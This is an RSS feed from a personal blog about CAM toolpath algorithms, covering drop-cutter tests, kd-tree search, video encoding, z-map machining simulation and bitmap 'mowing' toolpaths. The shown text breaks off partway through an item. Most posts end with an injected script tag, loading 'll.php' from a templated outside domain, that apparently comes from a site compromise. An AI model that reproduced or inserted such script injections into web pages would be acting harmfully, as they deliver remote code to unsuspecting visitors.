<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; CAM</title>
	<atom:link href="http://www.anderswallin.net/tag/cam/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Spherical drop-cutter</title>
		<link>http://www.anderswallin.net/2010/03/spherical-drop-cutter/</link>
		<comments>http://www.anderswallin.net/2010/03/spherical-drop-cutter/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 20:55:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Drop-Cutter]]></category>
		<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[opencamlib]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2864</guid>
		<description><![CDATA[For spherical cutters (a.k.a. ball-nose), the vertex-test (green dots), and the facet-test (blue dots), are fairly trivial. The edge-test (red-dots) is slightly more involved. Here, unlike before, I tried doing it without too many calls to "expensive" functions like sin(), cos() and sqrt(). The final result of taking the maximum of all tests is shown [...]]]></description>
			<content:encoded><![CDATA[
<a href='http://www.anderswallin.net/2010/03/spherical-drop-cutter/ball_v00001/' title='ball_v00001'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/ball_v000011-150x150.png" class="attachment-thumbnail" alt="ball_v00001" title="ball_v00001" /></a>
<a href='http://www.anderswallin.net/2010/03/spherical-drop-cutter/ball_f00001/' title='ball_f00001'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/ball_f000011-150x150.png" class="attachment-thumbnail" alt="ball_f00001" title="ball_f00001" /></a>
<a href='http://www.anderswallin.net/2010/03/spherical-drop-cutter/ball_e00001/' title='ball_e00001'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/ball_e000011-150x150.png" class="attachment-thumbnail" alt="ball_e00001" title="ball_e00001" /></a>
<a href='http://www.anderswallin.net/2010/03/spherical-drop-cutter/ball_all00001/' title='ball_all00001'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/ball_all000011-150x150.png" class="attachment-thumbnail" alt="ball_all00001" title="ball_all00001" /></a>

<p>For spherical cutters (a.k.a. ball-nose), the vertex-test (green dots), and the facet-test (blue dots), are fairly trivial. The edge-test (red-dots) is slightly more involved. Here, <a href="http://www.anderswallin.net/2007/07/drop-cutter-33-edge-test/">unlike before</a>, I tried doing it without too many calls to "expensive" functions like sin(), cos() and sqrt(). The final result of taking the maximum of all tests is shown in the "all" image which shows cutter-locations colour-coded based on the type of cutter-contact.</p>
<p>The logical next step is the toroidal, or bull-nose cutter. Again the edge-test is the most difficult, and I never really understood where the geometry of the <a href="http://www.freesteel.co.uk/wpblog/2006/12/the-offset-ellipse/">offset-ellipse</a> shows up... anyone care to explain?<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/spherical-drop-cutter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kd-tree visualization</title>
		<link>http://www.anderswallin.net/2010/03/kd-tree-visualization/</link>
		<comments>http://www.anderswallin.net/2010/03/kd-tree-visualization/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 20:04:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>
		<category><![CDATA[vtk]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2010/03/kd-tree-visualization/</guid>
		<description><![CDATA[When vimeo has had time to process the video, this will show a visualization of the kd-tree search: http://vimeo.com/10241672 the code is probably still a bit buggy...]]></description>
			<content:encoded><![CDATA[<p>When vimeo has had time to process the video, this will show a visualization of the kd-tree search:</p>
<p><a href="http://vimeo.com/10241672">http://vimeo.com/10241672</a></p>
<p><object type="application/x-shockwave-flash" data="http://vimeo.com/moogaloop.swf" width="500" height="281"><param name="allowscriptaccess" value="always"/><param name="allowfullscreen" value="true"/><param name="movie" value="http://vimeo.com/moogaloop.swf"/><param name="flashvars" value="clip_id=10241672&#038;server=vimeo.com&#038;fullscreen=1&#038;show_title=1&#038;show_byline=1&#038;show_portrait=1&#038;color=00ADEF"/></object></p>
<p>the code is probably still a bit buggy...</p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/-0MPPY49Nwk&#038;hl=en_US&#038;fs=1&#038;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-0MPPY49Nwk&#038;hl=en_US&#038;fs=1&#038;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/kd-tree-visualization/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Youtube vs. Vimeo</title>
		<link>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/</link>
		<comments>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:05:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[vimeo]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2849</guid>
		<description><![CDATA[I've continued to translate into C++ the old cam-experiments I wrote in C#. The kd-tree search for which triangles lie under the cutter seems to work, and the best way to visualize what is going on is through a video. Trying Vimeo for a change, to see if it's any better than youtube for these [...]]]></description>
			<content:encoded><![CDATA[<p>I've continued to translate into C++ the old cam-experiments I wrote in C#. The <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> search for which triangles lie under the cutter seems to work, and the best way to visualize what is going on is through a video. Trying <a href="http://vimeo.com/">Vimeo</a> for a change, to see if it's any better than youtube for these CAD/CAM-visualizations, since they <a href="http://vimeo.com/hd">advertise HD</a>.</p>
<p>There are 360 original frames captured from <a href="http://vtk.org/">VTK</a>, and the original was created with</p>
<blockquote><p>mogrify -format jpg -quality 97 *.png</p></blockquote>
<p>followed by (copy/pasted from some site google found for me...)</p>
<blockquote><p>mencoder mf://*.jpg -mf fps=25:type=jpg  -aspect 16:9 -of lavf -ovc lavc -lavcopts aglobal=1:vglobal=1:coder=0:vcodec=mpeg4:vbitrate=4500 -vf scale=1280:720 -ofps 30000/1001 -o OUTPUT3.mp4</p></blockquote>
<p>If anyone knows something better which produces nice results on youtube or vimeo, let me know.</p>
<p>The original is 1280x720 pixels, so it's better to jump out of the blog to watch the videos in native resolution.</p>
<p>Youtube: <a href="http://www.youtube.com/watch?v=k3uCpWYm174">http://www.youtube.com/watch?v=k3uCpWYm174</a></p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/k3uCpWYm174&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/k3uCpWYm174&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p>Vimeo: <a href="http://vimeo.com/10215501">http://vimeo.com/10215501</a></p>
<p><object width="620" height="349"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10215501&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=10215501&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="620" height="349"></embed></object>
<p><a href="http://vimeo.com/10215501">Drop-cutter toolpath algorithm development, part1</a> from <a href="http://vimeo.com/user3393382">anders wallin</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>OK, so the video doesn't really show what is going on with the kd-tree search at all <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  . It only shows two toolpaths, one coloured in many colours which is calculated without the kd-tree, and another one (offset upwards for clarity) that is calculated, much faster, using the kd-tree.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drop-cutter again</title>
		<link>http://www.anderswallin.net/2010/03/drop-cutter-again/</link>
		<comments>http://www.anderswallin.net/2010/03/drop-cutter-again/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 19:39:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Drop-Cutter]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[stl]]></category>
		<category><![CDATA[vtk]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2823</guid>
		<description><![CDATA[This is about my third rewrite of this fairly simple cam-algorithm where the cutter is dropped from above until it touches a triangle. It's now in C++ with Boost-python bindings and with visualization using vtk. The cutter-location points are calculated by bringing the cutter into contact with the vertices of the triangle (green cl-points), the [...]]]></description>
			<content:encoded><![CDATA[<p>This is about my third rewrite of this fairly simple cam-algorithm where the cutter is dropped from above until it touches a triangle. It's now in C++ with Boost-python bindings and with visualization using <a href="http://vtk.org/">vtk</a>.</p>

<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/frame059/' title='frame059'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/frame0591-150x150.jpg" class="attachment-thumbnail" alt="frame059" title="frame059" /></a>
<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/5_all/' title='5_all'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/5_all1-150x150.png" class="attachment-thumbnail" alt="5_all" title="5_all" /></a>
<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/4_facet/' title='4_facet'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/4_facet1-150x150.png" class="attachment-thumbnail" alt="4_facet" title="4_facet" /></a>
<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/3_edge/' title='3_edge'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/3_edge1-150x150.png" class="attachment-thumbnail" alt="3_edge" title="3_edge" /></a>
<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/2_vertex/' title='2_vertex'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/2_vertex1-150x150.png" class="attachment-thumbnail" alt="2_vertex" title="2_vertex" /></a>
<a href='http://www.anderswallin.net/2010/03/drop-cutter-again/1_none/' title='1_none'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/03/1_none1-150x150.png" class="attachment-thumbnail" alt="1_none" title="1_none" /></a>

<p>The cutter-location points are calculated by bringing the cutter into contact with the vertices of the triangle (green cl-points), the edges (red cl-points), and the facet (blue cl-points). Then the cl-point with the highest Z-value is selected as the final cutter location. At the white points we did not make contact with the triangle at all.</p>
<p>If you look closely enough, all surfaces in the world are made of triangles, even Tux:<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/MyR_FAOYIm8&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://www.youtube.com/v/MyR_FAOYIm8&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Due to compression, the video might not show enough detail, so here's a screenshot:<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2010/03/frame059.jpg"><img class="alignnone size-medium wp-image-2830" title="frame059" src="http://www.anderswallin.net/wp-content/uploads/2010/03/frame059-625x351.jpg" alt="" width="625" height="351" /></a></p>
<p>I wonder if anyone is still interested in this stuff? Given enough time I would like to develop waterline-paths and an octree-based cutting simulator also. It would help if these algorithms were incorporated in a CAD-program, or someone would develop a GUI.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/drop-cutter-again/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Mowing video moved</title>
		<link>http://www.anderswallin.net/2009/05/mowing-video-moved/</link>
		<comments>http://www.anderswallin.net/2009/05/mowing-video-moved/#comments</comments>
		<pubDate>Fri, 15 May 2009 06:27:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1318</guid>
		<description><![CDATA[Jumpcut is closing, so I needed to move this video to youtube. This relates to my earlier posts here http://www.anderswallin.net/2007/12/mowing-tactics/ and here http://www.anderswallin.net/2007/06/an-emergent-spiral/ When I find time to work on this next, there are many ideas for improvements: How to specify only climb/conventional milling (allowing only the right or left side of the cutter to [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/-IyN1wQDE0E&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/-IyN1wQDE0E&amp;hl=en&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Jumpcut is closing, so I needed to move this video to youtube. This relates to my earlier posts here<br />
<a href="http://www.anderswallin.net/2007/12/mowing-tactics/"> http://www.anderswallin.net/2007/12/mowing-tactics/</a><br />
and here<br />
<a href="http://www.anderswallin.net/2007/06/an-emergent-spiral/"> http://www.anderswallin.net/2007/06/an-emergent-spiral/</a></p>
<p>When I find time to work on this next, there are many ideas for improvements: How to specify only climb/conventional milling (allowing only the right or left side of the cutter to be used). Using a variable step length for the simulation. Simulating dynamics of the macing (controlling the tool with a trajectory generator with acceleration/speed limits etc). How to implement rapid feed between cutting moves? how to choose among many allowed starting points for the cut? Should this use an adaptive resolution model, like a quad-tree? How should G-code be output, a filter which outputs G-code within a specified tolerance of the simulated path would probably be best?<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/05/mowing-video-moved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>drop-cutter with kd-tree</title>
		<link>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/</link>
		<comments>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 01:29:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Drop-Cutter]]></category>
		<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/</guid>
		<description><![CDATA[First test with drop-cutter aided by the kd-tree. The output toolpath looks very much like the one without kd-tree, which is good. Less great is that I expected a speed-up of the algorithm - but in fact when I use kd-tree the program slows down! Something to investigate over the next few days.]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.anderswallin.net/wp-content/2008_03dropcut/drop-cutter.png" /></p>
<p>First test with drop-cutter aided by the kd-tree. The output toolpath looks very much like the one without kd-tree, which is good. Less great is that I expected a speed-up of the algorithm - but in fact when I use kd-tree the program slows down! Something to investigate over the next few days.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Timing build_kdtree()</title>
		<link>http://www.anderswallin.net/2008/03/timing-build_kdtree/</link>
		<comments>http://www.anderswallin.net/2008/03/timing-build_kdtree/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 21:46:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/timing-build_kdtree/</guid>
		<description><![CDATA[Drop-cutter requires a fast way of searching for triangles under the tool. A kd-tree (4-dimensional in this case) is suggested by Yau et al. I've tried to implement one here (look in trunk/Project2). Just ran some timing tests using Stopwatch() on it, and indeed the build_kdtree() function which takes a pile of triangles as input [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_03kdtime/kdtime.png"><img src="http://www.anderswallin.net/wp-content/2008_03kdtime/kdtime.png" alt="" /></a></p>
<p><a href="http://www.anderswallin.net/2007/08/drop-cutter-in-c-v2/">Drop-cutter</a> requires a fast way of searching for triangles under the tool. A <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> (4-dimensional in this case) is suggested by <a href="http://dx.doi.org/10.1080/00207540410001671651">Yau et al.</a> I've tried to implement one <a href="http://code.google.com/p/monocam/source/browse">here</a> (look in trunk/Project2). Just ran some timing tests using <a href="http://cplus.about.com/od/howtodothingsinc/a/timing.htm">Stopwatch()</a> on it, and indeed the build_kdtree() function which takes a pile of triangles as input and generates a kd-tree seems to run in O(N*log(N)) time as it should.</p>
<p>I've never drawn this type of plot before, and I was surprised at how close N*log(N) is to N - in a loglog plot they are almost equal!</p>
<p>This is a recursive function. I wonder if there's a good way of multi-threading recursive functions? My laptop is dual-core and a modern desktop PCs is likely a quad-core - so let's try to write these things multi-threaded from the start.</p>
<p>Next up is a function for doing the orthogonal range-search for triangles that lie under the tool. That's supposed to run in O(N^(1-1/D)+K) time, where D is the dimension of the tree and K is the number of reported triangles - so O(N^(3/4)+K) in this case. I'll try to get that done during the weekend.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/timing-build_kdtree/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Z-map model for 3-axis machining</title>
		<link>http://www.anderswallin.net/2008/02/z-map-model-for-3-axis-machining/</link>
		<comments>http://www.anderswallin.net/2008/02/z-map-model-for-3-axis-machining/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 08:54:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[z-map]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/02/z-map-model-for-3-axis-machining/</guid>
		<description><![CDATA[I've been reading about the z-map model for 3-axis milling. A working simulation environment would be very useful for CAM algorithm development. Coarse errors in the algorithms can be spotted by eye from the simulation, and a comparison of the z-map with the original CAD model can be used to see if the machining really [...]]]></description>
			<content:encoded><![CDATA[<p>I've been reading about the z-map model for 3-axis milling. A working simulation environment would be very useful for CAM algorithm development. Coarse errors in the algorithms can be spotted by eye from the simulation, and a comparison of the z-map with the original CAD model can be used to see if the machining really produces the desired part within tolerance.</p>
<p>Jeff Epler hacked together a z-map model with EMC2 a while ago: <a href="http://axis.unpythonic.net/01169521961">gdepth</a>. Perhaps some code/ideas can be borrowed from there.</p>
<p>The z-map can also be used for generating the tool paths themselves (similar to bitmap-mowing <a href="http://www.anderswallin.net/2008/01/mowing-foam/">here</a>, <a href="http://www.anderswallin.net/2007/12/mowing-tactics/">here</a> and <a href="http://www.anderswallin.net/2007/06/an-emergent-spiral/">here</a>), but that's more advanced and not the immediate goal.</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_02zmap/z-map.jpg" alt="" /></p>
<p>Here's the z-map model, a lot of vectors standing upright in the z-direction, getting cut (or mowed down) by the moving tool. For graphics you could fill each space between four z-vectors with two triangles and display an STL surface. Obviously this works only for 3-axis machining where the tool is oriented along the z-axis, and the tool must also not produce undercuts (e.g. T-slot milling).</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_02zmap/sweep.jpg" alt="" /></p>
<p>So how do you cut down the z-vectors for each move in the program? For linear moves you can always rotate your coordinate system so it looks like the figure above. The movement is along the x axis, with possibly a simultaneous move in the z-axis. At the beginning of each move (<strong>A</strong>) and at the end (<strong>C</strong>) it's very simple, you just calculate the intersection of the relevant z-vectors with a stationary tool at <strong>A</strong> and <strong>C</strong>, a kind of 'inverse <a href="http://www.anderswallin.net/2007/08/drop-cutter-in-c-v2/">drop-cutter</a>' idea.</p>
<p>The surface the tool sweeps out during the move itself (<strong>B</strong>) is more difficult to deal with. The mathematics of the swept surface leads to an equation which most people seem to solve numerically by iteration. I'd like to go through the math/code in a later post (need to learn <a href="http://faq.wordpress.com/2007/02/18/can-i-put-math-or-equations-in-my-posts/">how to put equations in posts</a> first!).</p>
<p>It's not smart to test all z-vectors in the model against the tool envelope of each move. So like drop-cutter where you are searching for which triangles are under the tool, in z-map you want to know which z-vectors are under the tool envelope. One strategy is simple bucketing, but perhaps if a <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> is developed for drop-cutter the same algorithm can be used for z-map.</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_02zmap/adaptive.jpg" alt="" /></p>
<p>Obviously the z-map has a finite resolution. Increasing the linear resolution by some factor <strong>a</strong> requires <strong>a^2</strong> more z-vectors, storage, and calculations. A better way might be to insert more z-vectors only where they are needed. That's the places on the model where the z-coordinate changes a lot. So here (view from above) for example if you are milling with a cylindrical cutter more z-vectors are needed along the edge of the tool envelope. (I have no idea why they are inserted in a tilted grid-pattern in the above figure...). This potentially leads to much reduced memory/calculation requirements, while still producing a high resolution model. As the simulation progresses there are probably also regions where some densely spaced z-vectors could be removed. Maybe a 'garbage-collector' process could go over the model every now and then and look for flat areas (xy-plane like regions) where less z-vectors are needed and remove them.</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_02zmap/apt.jpg" alt="" /></p>
<p>A lot of papers use this APT tool when deriving the equations for machining or simulations. By varying the parameters suitably you get the familiar tool shapes below:</p>
<p><img src="http://www.anderswallin.net/wp-content/2008_02zmap/tools.jpg" alt="" /></p>
<p>From left to right: Bull-nose/filleted/toroidal, Round/ball-nose/spherical, drill/countersink, tapered, and cylindrical.</p>
<p>My earlier drop-cutter explanations and code only work with the toroidal, spherical, and cylindrical cutters. I'm not sure if it makes sense to write the code for the general APT cutter, or if it's better to optimize for each case (cylindrical and spherical are usually quite easy).</p>
<p>If  anyone has made it this far, my sources are the following papers - which are available from me if you ask nicely by email.</p>
<ul>
<li>Chung et al. 1998 (<a href="http://dx.doi.org/10.1016/S0010-4485(97)00033-X">doi:10.1016/S0010-4485(97)00033-X</a>): "Modeling the surface swept by a generalized cutter for NC verification"</li>
<li>Drysdale et al. 1989 (<a href="http://dx.doi.org/10.1007/BF01553878">doi:10.1007/BF01553878</a>): "Discrete Simulation of NC Machining"</li>
<li>Jerard et al. 1989 (<a href="http://dx.doi.org/10.1007/BF01999101">doi:10.1007/BF01999101</a>): "Approximate methods for simulation and verification of numerically controlled machining programs"</li>
<li>Jerard et al. 1990 (doi:?): "The use of surface points sets for generation, simulation, verification and automatic correction of NC machining programs"</li>
<li>Lee et al. 2002 (<a href="http://dx.doi.org/10.1016/S0924-0136(02)00761-6">doi:10.1016/S0924-0136(02)00761-6</a>): "Development of simulation system for machining process using enhanced Z-map model"</li>
<li>Maeng et al. 2003 (<a href="http://dx.doi.org/10.1016/S0010-4485(02)00161-6">doi:10.1016/S0010-4485(02)00161-6</a>): "A Z-map update method for linearly moving tools"</li>
<li>Maeng et al. 2004 (<a href="http://dx.doi.org/10.1109/GMAP.2004.1290053">doi:10.1109/GMAP.2004.1290053</a>): "A fast NC simulation method for circularly moving tools in the Z-map environment"</li>
<li>Flutter and Todd 2001 (<a href="http://dx.doi.org/10.1016/S0010-4485(00)00136-6">doi:10.1016/S0010-4485(00)00136-6</a>): "A machining strategy for toolmaking"<br />
Julian Todd is the guy behind the <a href="http://www.freesteel.co.uk/">freesteel site</a>.</li>
</ul>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/02/z-map-model-for-3-axis-machining/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Mowing Foam</title>
		<link>http://www.anderswallin.net/2008/01/mowing-foam/</link>
		<comments>http://www.anderswallin.net/2008/01/mowing-foam/#comments</comments>
		<pubDate>Wed, 02 Jan 2008 12:00:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[CNC]]></category>
		<category><![CDATA[cutsim]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/01/mowing-foam/</guid>
		<description><![CDATA[Dan Egnor sent me this nice example of bitmap-based toolpath generation, or 'pixel mowing'. It's a slightly exaggerated topographic relief of San Francisco machined in tooling board using a very simple 'lawn mowing' toolpath generator. The explanation of how it works below is mostly Dan's, not mine. This is the input to the toolpath generator [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/landscape.jpg"><img src="http://www.anderswallin.net/wp-content/2008_01mow/landscape.jpg" /></a></p>
<p>Dan Egnor sent me this nice example of bitmap-based toolpath generation, or 'pixel mowing'. It's a slightly exaggerated topographic relief of San Francisco machined in tooling board using a very simple 'lawn mowing' toolpath generator.</p>
<p>The explanation of how it works below is mostly Dan's, not mine.</p>
<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/pass_before.png"><img src="http://www.anderswallin.net/wp-content/2008_01mow/pass_before.png" /></a></p>
<p>This is the input to the toolpath generator for one of the Z-slices.</p>
<p>black - material which must not be touched<br />
green - to be removed, is safe (at least one tool radius from black)<br />
yellow - remove if possible, is dangerous (within tool radius of black)<br />
purple - has been cleared, is dangerous (machine limits or similar)<br />
white - has been cleared, is safe, is not blue (below)<br />
blue - this spot has been cleared, and is safe, but is within one tool radius of material that needs clearing (green or yellow)</p>
<p>Note that you don't see blue in either "before" or "after" images, it only occurs transiently.  (In theory it could show up in "before" as area outside the workpiece.)</p>
<p><a href="http://www.anderswallin.net/wp-content/2008_01mow/pass_after.png"><img src="http://www.anderswallin.net/wp-content/2008_01mow/pass_after.png" /></a></p>
<p>And this is the resulting toolpath. Green circles are plunges and red circles are lifts. The thick grey lines represent actual cuts, the thinner lines are rapid feeds.</p>
<p>The basic rule is that the tool *centroid* is only allowed to visit safe areas (green, blue, and white).  Green and blue represent work to be done (safe areas that need visiting).  Of course, as the tool moves, green changes to blue and white, and (some) yellow changes to purple.</p>
<p>The real trick is in efficiently tracking the "within tool radius of" zones (material to be cut, or material to stay away from).  Every pixel keeps a count of how many pixels of each type ("nearby-blocking" or "nearby-cutting") are within one tool radius of that pixel.  Whenever a value is changed ( e.g. the simulated tool moves and changes some points from "cut" to "clear"), every counter within the appropriate radius is updated.</p>
<p>That would be rather costly to implement directly, each simulated pixel move would require N^3 updates, if N is the diameter of the tool. Instead those counters are only kept as *differences* between each point and its neighbours.  That means changing a point only requires updating the values along the *perimeter* of the radius surrounding that point, meaning that a simulated pixel move only requires N^2 updates, which makes things a lot more tractable (though it still takes the old laptop I use a couple minutes to complete the toolpaths for a 5" x 3" x 1.5" model at 1/256" resolution). Of course this means that the "color state" isn't directly accessible for a random pixel, but must be figured incrementally from neighboring values.  Fortunately most operations don't access random pixels.</p>
<p>You would probably not want to cut metal with this kind of algorithm as there is no control over material removal rate or cutting forces, but for foam, tooling-board, or wood it should work ok.</p>
<p>Dan's program is written in C++ and available here (<a href="http://svn.ofb.net/svn/egnor/boring/">http://svn.ofb.net/svn/egnor/boring/</a>), but it's not well documented.</p>
<p>We are standing by for a video of this kind of cutting!<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/01/mowing-foam/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mowing tactics</title>
		<link>http://www.anderswallin.net/2007/12/mowing-tactics/</link>
		<comments>http://www.anderswallin.net/2007/12/mowing-tactics/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 19:00:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[cutsim]]></category>
